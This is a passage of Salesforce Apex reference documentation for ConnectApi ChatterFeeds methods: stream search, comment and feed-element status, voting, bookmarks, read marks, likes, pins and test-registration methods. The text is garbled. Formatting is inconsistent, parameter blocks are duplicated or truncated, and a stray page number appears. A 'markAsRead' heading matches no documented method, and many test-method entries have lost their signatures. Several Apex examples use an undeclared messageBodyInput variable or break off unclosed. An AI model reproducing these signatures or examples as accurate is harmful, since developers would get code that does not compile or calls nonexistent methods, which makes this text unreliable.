- `setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)`
- **Testing ConnectApi Code**
**searchStreams(communityId, q)**

Search the Chatter feed streams for the context user.

**API Version**

40.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **q**
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#).

**Return Value**

Type: `ConnectApi.ChatterStreamPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

- `setTestSearchStreams(communityId, q, result)`
- [Testing ConnectApi Code](#)

**searchStreams(communityId, q, sortParam)**

Search and sort the Chatter feed streams for the context user.

**API Version**

40.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q, ConnectApi.SortOrder sortParam)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

sortParam
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:
- Ascending—Items are in ascending alphabetical order (A-Z).
- Descending—Items are in descending alphabetical order (Z-A).
- MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.
  If not specified, default value is Ascending.

Return Value
Type: ConnectApi.ChatterStreamPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
  setTestSearchStreams(communityId, q, sortParam, result)
  Testing ConnectApi Code

searchStreams(communityId, q, pageParam, pageSize)
Search the Chatter feed streams for the context user and return a page of results.

API Version
40.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - Type: **String**
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **q**
  - Type: **String**
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **pageParam**
  - Type: **Integer**
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- **pageSize**
  - Type: **Integer**
  - Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

Return Value

- Type: `ConnectApi.ChatterStreamPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchStreams(communityId, q, pageParam, pageSize, result)`
- Testing ConnectApi Code

**searchStreams(communityId, q, pageParam, pageSize, sortParam)**

Search the Chatter feed streams for the context user and return a sorted page of results.

API Version

40.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q,
Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `pageParam`
  - Type: `Integer`
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

- `sortParam`
  - Type: `ConnectApi.SortOrder`
  - Specifies the sort order. Values are:
    - `Ascending`—Items are in ascending alphabetical order (A-Z).
    - `Descending`—Items are in descending alphabetical order (Z-A).
    - `MostRecentlyViewed`—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.
  
  If not specified, default value is `Ascending`.

Return Value

- Type: `ConnectApi.ChatterStreamPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, result)`
- Testing ConnectApi Code

1258
searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope)

Search the Chatter feed streams from all Experience Cloud sites for the context user and return a sorted page of results.

API Version
41.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 to 250. The default size is 25.

sortParam
Type: ConnectApi.SortOrder
Specifies the sort order. Values are:
- Ascending—Items are in ascending alphabetical order (A-Z).
- Descending—Items are in descending alphabetical order (Z-A).
- MostRecentlyViewed—Items are in descending chronological order by view. This sort order is valid only for Chatter feed streams.

If not specified, default value is Ascending.

globalScope
Type: Boolean
Specifies whether to get streams from all the context user's Experience Cloud sites, regardless of the communityId value.

_tip: If you know the communityId for the streams, we recommend setting globalScope to false._
Return Value
Type: `ConnectApi.ChatterStreamPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

`setCommentIsVerified(communityId, commentId, isVerified)`
Mark a comment as verified or unverified.

API Version
41.0

Requires Chatter
Yes

Signature
`public static ConnectApi.VerifiedCapability setCommentIsVerified(String communityId, String commentId, Boolean isVerified)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`commentId`
Type: `String`
ID of the comment on a question post. Only one comment on a question post can be marked as verified.

`isVerified`
Type: `Boolean`
Specifies whether to mark the comment as verified (true) or unverified (false).
Only verified comments can be marked as unverified, and only unverified comments can be marked as verified.

Return Value
Type: `ConnectApi.VerifiedCapability`
If the comment doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

`setCommentIsVerifiedByAnonymized(communityId, commentId, isVerified, isVerifiedByAnonymized)`
Mark a comment as verified by an anonymous user.
**API Version**
43.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.VerifiedCapability setCommentIsVerifiedByAnonymized(String communityId, String commentId, Boolean isVerified, Boolean isVerifiedByAnonymized)
```

**Parameters**

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **commentId**
  Type: String
  ID of the comment on a question post. Only one comment on a question post can be marked as verified.

- **isVerified**
  Type: Boolean
  Specifies whether to mark the comment as verified (true) or unverified (false).
  Only verified comments can be marked as unverified, and only unverified comments can be marked as verified.

- **isVerifiedByAnonymized**
  Type: Boolean
  Specifies whether to mark the comment as verified by an anonymous user (true).
  If a user previously verified a comment and then requested the activity to be deleted, use isVerifiedByAnonymized to maintain the verification and anonymize the value of lastVerifiedByUser.
  You can set isVerified and isVerifiedByAnonymized to true at the same time. isVerifiedByAnonymized can be set to true only if isVerified is already set to true.
  You can’t set isVerifiedByAnonymized to false. After isVerifiedByAnonymized is set to true, it can be undone only when another user marks the comment as unverified and then reverifies the comment.

**Return Value**

Type: `ConnectApi.VerifiedCapability`

If the comment doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

**setCommentVote(communityId, commentId, upDownVote)**

Upvote or downvote a comment.

**API Version**
41.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.UpDownVoteCapability setCommentVote(String communityId, String commentId, ConnectApi.UpDownVoteCapabilityInput upDownVote)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, `internal` or `null`.  
- `commentId`  
  Type: `String`  
  ID of the comment.  
- `upDownVote`  
  Type: `ConnectApi.UpDownVoteCapabilityInput`  
  A `ConnectApi.UpDownVoteCapabilityInput` object that includes your vote.

Return Value

Type: `ConnectApi.UpDownVoteCapability`

If the comment doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

```
setFeedCommentStatus(communityId, commentId, status)
```

Set the status of a comment.

API Version

38.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.StatusCapability setFeedCommentStatus(String communityId, String commentId, ConnectApi.StatusCapabilityInput status)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, `internal` or `null`.  
- `commentId`  
  Type: `String`  
  ID of the comment.  
- `status`  
  Type: `ConnectApi.StatusCapabilityInput`  
  A `ConnectApi.StatusCapabilityInput` object that includes the status.
**commentId**
Type: `String`
ID of the comment.

**status**
Type: `ConnectApi.StatusCapabilityInput`
A `ConnectApi.StatusCapabilityInput` object that includes the status you want to set.

**Return Value**
Type: `ConnectApi.StatusCapability`
If the comment doesn't support this capability, the return value is `ConnectApi.NotFoundException`.

**Usage**
Only users with the Can Approve Feed Post and Comment permission can set the status of a feed post or comment.

**setFeedElementIsClosed(communityId, feedElementId, isClosed)**
Set a feed element to closed.

Users can't edit (specifically the feed item body or title), comment on, or delete a closed feed element. If the closed feed element is a poll, users can't vote on it. Users can't edit (specifically the comment body) or delete a comment on a closed feed element or select or remove it as best answer.

Admins and moderators can edit and delete closed feed elements and comments on closed feed elements. Admins and moderators can select or remove the best answer status on comments on closed feed elements.

**API Version**
43.0

**Requires Chatter**
Yes

**Signature**
```java
public static ConnectApi.CloseCapability setFeedElementIsClosed(String communityId, String feedElementId, Boolean isClosed)
```

**Parameters**

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedElementId**
  Type: `String`
  ID of the feed element.
isClosed
Type: Boolean
Specifies whether to set the feed element to closed (true) or not (false).

Return Value
Type: ConnectApi.CloseCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

setFeedElementVote(communityId, feedElementId, upDownVote)
Upvote or downvote a feed element.

API Version
41.0

Requires Chatter
Yes

Signature
public static ConnectApi.UpDownVoteCapability setFeedElementVote(String communityId, String feedElementId, ConnectApi.UpDownVoteCapabilityInput upDownVote)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

upDownVote
Type: ConnectApi.UpDownVoteCapabilityInput
A ConnectApi.UpDownVoteCapabilityInput object that includes your vote.

Return Value
Type: ConnectApi.UpDownVoteCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

setFeedEntityStatus(communityId, feedElementId, status)
Set the status of a feed post.
API Version
37.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.StatusCapability setFeedEntityStatus(String communityId, String feedElementId, ConnectApi.StatusCapabilityInput status)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, internal, or `null`.

- `feedElementId`  
  Type: `String`  
  ID of the feed element.

- `status`  
  Type: `ConnectApi.StatusCapabilityInput`  
  A `ConnectApi.StatusCapabilityInput` object that includes the status you want to set.

Return Value

Type: `ConnectApi.StatusCapability`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

Usage

Only users with the Can Approve Feed Post and Comment permission can set the status of a feed post or comment.

```java
setIsMutedByMe(communityId, feedElementId, isMutedByMe)
```

Mute or unmute a feed element.

API Version
35.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.MuteCapability setIsMutedByMe(String communityId, String feedElementId, Boolean isMutedByMe)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `feedElementId`
  - Type: `String`
  - ID of the feed element.

- `isMutedByMe`
  - Type: `Boolean`
  - Indicates whether the feed element is muted for the context user. Default value is `false`.

Return Value

Type: `ConnectApi.MuteCapability`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

---

**setIsReadByMe(communityId, feedElementId, readBy)**

Mark a feed element as read for the context user using an input class.

API Version

40.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ReadByCapability setIsReadByMe(String communityId, String feedElementId, ConnectApi.ReadByCapabilityInput readBy)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `feedElementId`
  - Type: `String`
  - ID of the feed element to mark as read.
**setIsReadByMe(communityId, feedElementId, isReadByMe)**

Mark a feed element as read for the context user.

**API Version**

40.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ReadByCapability setIsReadByMe(String communityId, String feedElementId, Boolean isReadByMe)
```

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedElementId**
  - Type: String
  - ID of the feed element to mark as read.

- **isReadByMe**
  - Type: Boolean
  - Specifies to mark the feed element as read (true) for the context user.

**Return Value**

Type: `ConnectApi.ReadByCapability`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

**updateComment(communityId, commentId, comment)**

Edit a comment.
API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.Comment updateComment(String communityId, String commentId, ConnectApi.CommentInput comment)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
ID of the comment to be edited.

comment
Type: ConnectApi.CommentInput
Information about the comment to be edited.

Return Value
Type: ConnectApi.Comment
If the comment doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.

Example
String commentId;
String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId() ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
String feedElementId = feedItems[0].id;

ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
commentId = commentPage.items[0].id;

ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);

if (isEditable.isEditableByMe == true){
    ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
    ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

    messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
    textSegmentInput.text = 'This is my edited comment.';
    messageBodyInput.messageSegments.add(textSegmentInput);

    commentInput.body = messageBodyInput;

    ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId, commentId, commentInput);
}

updateDirectMessage(communityId, feedElementId, directMessage)
Update the members of a direct message.

API Version
40.0

Requires Chatter
Yes

Signature
public static ConnectApi.DirectMessageCapability updateDirectMessage(String communityId, String feedElementId, ConnectApi.DirectMessageCapabilityInput directMessage)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

directMessage
Type: ConnectApi.DirectMessageCapabilityInput
A ConnectApi.DirectMessageCapabilityInput body that includes the members to add and remove.
Return Value

Type: `ConnectApi.DirectMessageCapability`

If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

```java
updateFeedElement(communityId, feedElementId, feedElement)
```

Edit a feed element.

API Version

34.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElement updateFeedElement(String communityId, String feedElementId, ConnectApi.FeedElementInput feedElement)
```

Parameters

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, internal, or `null`.

`feedElementId`

Type: `String`

ID of the feed element to be edited. Feed items are the only type of feed element that can be edited.

`feedElement`

Type: `ConnectApi.FeedElementInput`

Information about the feed item to be edited.

Return Value

Type: `ConnectApi.FeedElement`

If the feed element doesn’t support the edit capability, the return value is `ConnectApi.NotFoundException`.

Example for Editing a Feed Post

```java
String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId() ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
    // Return null within anonymous apex.
    return null;
```
Example for Editing a Question Title and Post

```apex
String communityId = Network.getNetworkId();

// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
    // Return null within anonymous apex.
    return null;
}
String feedElementId = feedItems[0].id;

ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);

if (isEditable.isEditableByMe == true){
    ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
    ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
    ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
    ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
    messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
    textSegmentInput.text = 'This is my edited question.';
    messageBodyInput.messageSegments.add(textSegmentInput);
    feedItemInput.body = messageBodyInput;
    ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
```
updateFeedElementBookmarks(communityId, feedElementId, bookmarks)

Bookmark a feed element or remove a bookmark from a feed element using an input class.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String communityId, String feedElementId, ConnectApi.BookmarksCapabilityInput bookmarks)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

bookmarks
Type: ConnectApi.BookmarksCapabilityInput
Information about a bookmark.

Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)

Bookmark a feed element or remove a bookmark from a feed element.
API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String communityId, String feedElementId, Boolean isBookmarkedByCurrentUser)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

isBookmarkedByCurrentUser
Type: Boolean
Specify whether to bookmark the feed element (true) or not (false).

Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Example
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null,'0D5D0000000KuGh',true);

updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, readBy)
Mark multiple feed elements as read by the context user at the same time using an input class.

API Version
40.0

Requires Chatter
Yes
Signature

```
public static ConnectApi.BatchResult[] updateFeedElementReadByCapabilityBatch(String communityId, List<String> feedElementIds, ConnectApi.ReadByCapabilityInput readBy)
```

Parameters

- **communityId**
  - **Type**: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedElementIds**
  - **Type**: List<String>
  - Up to 500 feed element IDs to mark as read.

- **readBy**
  - **Type**: ConnectApi.ReadByCapabilityInput
  - A ConnectApi.ReadByCapabilityInput body indicating to mark the feed elements as read.

Return Value

- **Type**: ConnectApi.BatchResult[]

If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

The returned objects correspond to each of the input objects and are returned in the same order as the input objects.

The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an error, the error is embedded within the ConnectApi.BatchResult list.

**updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, isReadByMe)**

Mark multiple feed elements as read by the context user at the same time.

API Version

40.0

Requires Chatter

Yes

Signature

```
public static ConnectApi.BatchResult[] updateFeedElementReadByCapabilityBatch(String communityId, List<String> feedElementIds, Boolean isReadByMe)
```

Parameters

- **communityId**
  - **Type**: String
  - Use the ID for an Experience Cloud site, internal, or null.
**markAsRead(communityId, feedElementIds, isReadByMe)**
Mark up to 500 feed elements as read.

- **feedElementIds**: List<String>
  - Up to 500 feed element IDs to mark as read.
- **isReadByMe**: Boolean
  - Specifies to mark the feed element as read (true) for the context user.

**Return Value**
Type: ConnectApi.BatchResult[]
If the feed element doesn't support this capability, the return value is ConnectApi.NotFoundException.

**updateLikeForComment(communityId, commentId, isLikedByCurrentUser)**
Like or unlike a comment.

**API Version**
39.0

**Requires Chatter**
Yes

**Signature**
```java
public static ConnectApi.ChatterLikePage updateLikeForComment(String communityId, String commentId, Boolean isLikedByCurrentUser)
```

**Parameters**
- **communityId**: String
  - Use the ID for an Experience Cloud site, internal, or null.
- **commentId**: String
  - ID of the comment.
- **isLikedByCurrentUser**: Boolean
  - Specifies if the context user likes (true) or unlikes (false) the comment.

**Return Value**
Type: ConnectApi.ChatterLikePage
updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)
Like or unlike a feed element.

API Version
39.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage updateLikeForFeedElement(String communityId, String feedElementId, Boolean isLikedByCurrentUser)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

isLikedByCurrentUser
Type: Boolean
Specifies if the context user likes (true) or unlikes (false) the feed element.

Return Value
Type: ConnectApi.ChatterLikePage
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApiNotFoundException.

updatePinnedFeedElements(communityId, feedType, subjectId, pin)
Pin or unpin feed elements to a group or topic feed.

API Version
41.0

Available to Guest Users
41.0

Requires Chatter
Yes
Signature

class ConnectApi
{
    public static ConnectApi.PinCapability updatePinnedFeedElements(String communityId, ConnectApi.FeedType feedType, String subjectId, ConnectApi.PinCapabilityInput pin)
}

Parameters

communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.

feedType
    Type: ConnectApi.FeedType
    The type of feed. Valid values are Record and Topics.

subjectId
    Type: String
    If feedType is Record, subjectId must be a group ID. If feedType is Topics, subjectId must be a topic ID.

pin
    Type: ConnectApi.PinCapabilityInput
    A ConnectApi.PinCapabilityInput object indicating the feed element to pin or unpin.

Return Value

Type: ConnectApi.PinCapability
If the feed doesn’t support this capability, the return value is ConnectApi.NotFoundException.

updateStream(communityId, streamId, streamInput)
Update a Chatter feed stream.

API Version

39.0

Requires Chatter
Yes

Signature

class ConnectApi
{
    public static ConnectApi.ChatterStream updateStream(String communityId, String streamId, ConnectApi.ChatterStreamInput streamInput)
}

Parameters

communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.
**streamId**
Type: `String`
ID of the Chatter feed stream.

**streamInput**
Type: `ConnectApi.ChatterStreamInput`  

Return Value
Type: `ConnectApi.ChatterStream`

`voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)`
Vote on a poll or change your vote on a poll.

API Version
32.0

Requires Chatter
Yes

Signature
`public static ConnectApi.PollCapability voteOnFeedElementPoll(String communityId, String feedElementId, String myChoiceId)`

Parameters

- **communityId**  
  Type: `String`  
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedElementId**  
  Type: `String`  
  ID of the feed element.

- **myChoiceId**  
  Type: `String`  
  ID of the poll item you’re voting for. The key prefix for poll items is 09A.

Return Value
Type: `ConnectApi.PollCapability`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`. 
Example

```java
ConnectApi.PollCapability poll = ConnectApi.ChatterFeeds.voteOnFeedElementPoll(null, '0D5D0000000XZaUKAW', '09AD000000000TKMAY');
```

ChatterFeeds Test Methods

The following are the test methods for ChatterFeeds. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

IN THIS SECTION:

- `setTestGetFeedElementsFromFeed(communityId, feedType, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, threadedCommentsCollapsed, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or you receive an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.

- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly, result)`
  Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the `get feed` method with the same parameters or the code throws an exception.
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, threadedCommentsCollapsed, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.getFeedElementsFromFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, customFilter, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.getFeedElementsFromFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.getFeedElementsFromFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching getFeedElementsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching getFeedElementsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.
Register a `ConnectApi.FeedElementPage` object to be returned when the `getFeedElementsFromFilterFeedUpdatedSince` method is called in a test context.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or you receive an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or you receive an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or you receive an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when the `getRelatedPosts` method is called in a test context. Use the method with the same parameters or you receive an exception.
setTestGetTopUnansweredQuestions(communityId, result) (Pilot)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.getTopUnansweredQuestions method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestGetTopUnansweredQuestions(communityId, filter, result) (Pilot)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.getTopUnansweredQuestions method is called in a test context. Use the method with the same parameters
or you receive an exception.

